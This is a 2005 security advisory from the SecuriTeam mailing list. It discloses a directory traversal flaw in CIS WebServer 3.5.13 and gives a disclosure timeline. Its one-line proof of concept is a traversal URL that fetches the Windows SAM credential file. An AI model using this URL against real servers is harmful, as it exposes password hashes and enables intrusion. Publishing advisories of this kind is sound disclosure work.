[NT] Directory Traversal In CIS WebServer

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Directory Traversal In CIS WebServer
------------------------------------------------------------------------


SUMMARY

 <http://www.cisindia.net/> CIS WebServer is "a simple HTTPd server for 
MS-Windows".

The CIS WebServer contains a directory traversal vulnerability that allows 
a attacker the ability to view arbitrary files that reside outside the 
bounding HTML directory.

DETAILS

Vulnerable Systems:
 * CIS WebServer version 3.5.13

Proof of Concept:
The following URL can be used to grab the SAM file located under the 
Windows directory:
http://victimhost/../../../windows/repair/sam

Disclosure Timeline:
20/02/2005 - Vendor notification
21/02/2005 - Vendor Response
25/02/2005 - Public disclosure


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> 
CorryL.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] 
In order to subscribe to the mailing list, simply forward this email to: [email protected] 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any kind. 
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.